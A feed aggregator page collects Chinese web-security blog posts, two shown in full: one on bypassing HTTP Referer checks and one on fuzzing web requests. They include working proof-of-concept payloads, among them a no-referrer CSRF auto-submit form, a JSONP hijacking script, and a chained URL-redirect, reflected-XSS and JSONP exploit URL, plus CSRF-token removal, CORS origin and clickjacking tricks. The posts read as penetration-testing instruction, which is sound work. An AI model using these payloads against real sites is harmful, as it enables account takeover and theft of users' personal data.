Aggregator

巡风源码阅读与分析---view.py - Zhengjim

zhengjim
6 years 4 months ago
巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统，通过搜索功能可清晰的了解内部网络资产分布情况，并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 环境： 巡风是基于python的flask框架写的，数据库为mongodb。 可安装在Windows OSX Linux Docker P
Zhengjim

GET请求Referer限制绕过总结

Chen's Blog
6 years 4 months ago
前言

在做测试的时候会遇见这样几个漏洞场景：

  1. JSONP跨域劫持
  2. 反射XSS
  3. GET请求类型攻击

但是，在相对安全的情况下，都会有Referer(HTTP请求头)的限制。那么该如何去做绕过呢？

正文 什么是Referer？

Referer是请求头的一部分，假设A站上有B站的链接，在A站上点击B站的链接，请求头会带有Referer，而Referer的值为A站的链接；这也就是为什么上文所说的场景，遇见了Referer的限制就可能GG了。

绕过之道 常规绕过

一个实际场景：

先来说说一些常规化的东西：

  • 子域名方式

使用子域名的方式进行绕过：

  • 域名前增加

在域名前面增加随机的a-z和0-9也可以进绕过：

  • ？号

将域名作为GET请求参数进行绕过：

打破常规 无Referer

之前在做测试的时候，将Referer头删除也可以绕过，但是在真正的利用中能不能去实现呢？是可以的。

在HTML标签中有这样一个标签<meta>，而这个标签是表示无Referer，就是如下的代码：

<meta name="referrer" content="never">

我原来的PoC为：

<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

修改之后的PoC为：

<html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

与其他资源组合 超链接

在上文就提到了A站有B站的链接，在A站点击B站的链接，Referer就为A站的链接了。那么在这里我能否使用白名单域下的业务做超链接，链接地址为A站存在问题的链接再搭配一个点击劫持或者诱导的方式进行组合攻击？

例如gh0st.cn做了Referer的限制：

Referer State http://gh0st.cn (Current Domain) YES http://www.hi-ourlife.cn (Other Domain) NO http://a.gh0st.cn (SubDomain) YES

实际场景：

  • 公开信息对外

在个人中心处可以编辑个人的微博地址：

微博地址是对外的公开信息：

那么结合一下点击劫持或者用户常规的点击了～那就GGGGGGG了～

  • 论坛

现在很多厂商都有自己的开放论坛，特别是Discuz这种很多，而Discuz回复是可以使用超链接的：

回复这样的格式：[url=u]t[/url] u部分为地址，t部分为地址名字～

URL跳转

302跳转是否可以？NO，不可以。

这里的URL跳转是JavaScript的URL跳转。

常见的两个：

window.location.href="url"; window.open("url"); 反射XSS(Referer限制)
  1. 这里我已经有一个存在任意URL跳转漏洞了：

http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

  1. 我有一个反射XSS漏洞：

http://vulkey.cn/jsonp.php?callback=vulkey

当 referer = a.com :

当 referer = vulkey.cn :

当 referer = *.vulkey.cn :

这个接口验证了Referer使用之前的方法没办法绕过，于是采用组合拳搭配。

于是有了如下的构建：http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>

JSONP劫持+反射XSS+URL跳转

这个案例是基于上面反射XSS案例的，现在已知的三个问题：

  1. JSONP接口 http://vulkey.cn/jsonp.php?callback=vulkey 有Referer限制
  2. 反射XSS http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)> 有Referer限制
  3. JavaScript URL跳转 http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

一般JSONP跨域劫持的PoC是这样的：

<script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="url"></script>

但是因为有Referer限制，就不能在自己的站点上做PoC了，就只能利用反射XSS漏洞构建PoC：

http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E

但仅仅如此是不够是因为XSS有Referer来源的限制，所以最终的PoC应该是这样的：

http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E

也就是说在这里JS的URL跳转解决了XSS的Referer限制问题，而XSS又解决了JSONP接口的Referer限制问题，这是一个联合组合拳。如果你发现的XSS没有Referer限制则不需要这么”麻烦”。

结尾

文中总结一些小的TIPS，针对我遇到的实际案例进行了漏洞的复现截图，打开思维其实还有更多更好的思路，有机会后期会写出来。

2018 Application Protection Report

F5 Labs
6 years 5 months ago
In this report, we demystify the complexities of apps, explore how and where they&rsquo;re attacked, and provide practical steps to take now to start winning the app protection battle.

我的Web应用安全模糊测试之路

Chen's Blog
6 years 5 months ago
前言

坏蛋(春秋社区)跟我说要我准备议题的时候，我是懵逼的～仔细想了一下自己这么菜，能讲什么呢？

思考了很久最终定了这个标题：《我的Web应用安全模糊测试之路》

这篇议题主要围绕我做Web应用安全测试的时候所运用的一些技巧和思路。

我的Web应用安全模糊测试之路 什么是Web应用中的模糊测试？

Web应用是基于什么进行传输的？HTTP协议。

模糊测试是什么？Payload随机。

Payload放哪里？HTTP请求报文格式是什么？请求行(请求方式 URI HTTP/1.1)、请求头、请求报文主体(POST Data)。

模糊测试秘籍->增(Add) && 删(Del)

被固化的测试思维

我列出一个请求，边看边思考你会怎么测试这个请求呢？

HTTP请求报文(Request)：

GET /uc/getInfo HTTP/1.1 Host: gh0st.cn Origin: http://gh0st.cn ...

HTTP响应主体(Response Content):

{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }

看到这想必你已经知道自己要测试的内容是什么了，一般来讲很多人会先注意Origin这个HTTP请求报文头，看响应的HTTP头：

... Access-Control-Allow-Origin: http://gh0st.cn Access-Control-Allow-Crdentials: True Access-Control-Allow-Methods: OPTION, POST, GET ...

如果我修改Origin的值为http://qianan.cn，返回的也是Access-Control-Allow-Origin: http://qianan.cn，那就代表着这里存在CORS跨域资源共享(任意域)的问题，具体在这里就不多说了参考我之前的一篇文章：http://gh0st.cn/archives/2018-03-22/1

这里也许会有什么匹配之类的验证，一般的两种绕过方法：

1.子域名(http://{domain}.mst.cn/ -> http://gh0st.cn.mst.cn/)

2.域名前缀(http://{a-z}{domain} -> http://agh0st.cn/)

也许到这里部分人的测试已经Over了～那么我还会继续测试下去，如何测？往下看↓

模糊测试之增 增 - 入门

观察响应报文格式：

{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }

这里的格式为JSON格式，那么跟JSON有关的漏洞最先想到的是什么？

没错，JSONP跨域劫持（想科普下？看这里-> http://gh0st.cn/archives/2018-03-22/1）。

JSONP跨域劫持需要具备的条件是回调参数，而这里并没有，没有回调参数，那我就增加一个回调参数，如下是我的一份字典：

使用BurpSuite的Intruder模块，进行枚举测试：

GET /uc/getInfo?callback=mstkey HTTP/1.1 GET /uc/getInfo?cb=mstkey HTTP/1.1 GET /uc/getInfo?jsonp=mstkey HTTP/1.1 ...

终于某一条请求得到了我想要的结果：

mstkey({"id":"1024","realname":"yudan","mobilePhone":"13888888888","cardNo":"111111111111111111"})

那在这里我就可以构建PoC了：

<script>function mstkey(data){alert(JSON.stringify(data));}</script> <script src="http://gh0st.cn/uc/getInfo?callback=mstkey"></script> 增 - 进阶

除了上面所说的增加回调参数以外，还可以增加什么呢？

增加的参数和值可以分析网站数据、关联网站数据、整合自用字典与网站字段结合。

响应报文转换：

{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }

转换为HTTP请求参数 键=值 格式：

id=1024 realName=yudan mobilePhone=13888888888 cardNo=111111111111111111

初次之外还有什么？当然是使用自用字典和如上总结的进行整合：

注意一点，参数都整理好之后，对应的值采用B账号的对应值，因为这样才会有差异，才能进行分析是否存在相关的漏洞，一般加参数会存在越权问题～

增 - 深入

很多小伙伴挖漏洞的时候核心业务挖不动那肯定怼一些边缘业务和一些后台系统了，大多数人应该都遇见过这样的问题，找到了一个后台的地址点进去是管理界面，突然的有js跳转到登录界面去了，但是查看页面代码却能获取到很多的后台接口～

很多人会选择登录爆破、未授权接口使用这些常规操作类型去测试，可能测完就会抛掉了，而我之前测试某项目的时候碰见的就是当我在接口后面加上admin=1的时候响应报文返回了这样的头：

Set-Cookie: xxxxxx=xxxxxxx

给我设置了一个Cookie，我使用这个Cookie直接就进入了后台。

模糊测试之删

在这里有一处实际场景：

其流程是这样的：输入邮箱->点击修改邮箱->发送修改链接到该邮箱->邮箱打开修改链接->成功修改

明显流程就有问题，按照常的流程来说应该先验证原邮箱(手机号)再做修改操作。

点击修改邮箱按钮获取到的请求如下：

POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token)

这里有Token保护，用来防御CSRF的，这里将token置空或者删除 键=值 即可绕过，这里是因为token并没有实际的去做校验，也就是”表面安全”。

增的组合拳

在”删”这个环节里说到了删除CSRF的token绕过的方法，但不久之后厂商进行了修复。。。

它成功的让token校验了，这里无法再使用原来的方法了，但是在这里观察请求和响应：

POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token)

响应主体：

这里输入一个错误的或者已经绑定过的会提示输入错误，然后回显请求报文中的POST Data参数mail的值～

也就是说在这里也许会存在CSRF + POST XSS，但是因为Token问题没办法利用～我们该怎么办？

这里思来想去，只能尝试设想后台的参数接收->输出代码：

<?php echo $_REQUEST['mail'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。 ?>

如果是如上的接收输出，那么在这里，我修改链接为：

http://gh0st.cn/uc/[email protected]

神奇的发现页面回显了[email protected]到界面上了，但是并不会去走修改邮箱，也就是说这里还是需要POST请求才会走修改邮箱流程，这里我先有了反射XSS的想法，但是奈何过滤了…

于是衍生了第二个思路搭配点击劫持～（科普一下？->http://gh0st.cn/archives/2017-12-20/1）

透明化修改邮箱界面，然后获取修改邮箱按钮位置，做一个一模一样的按钮放在修改邮箱按钮之上，诱导用户点击这个按钮实际上是点击了修改邮箱的按钮～

结尾

感谢有你，每一个你，都要活的精彩。

Managed ad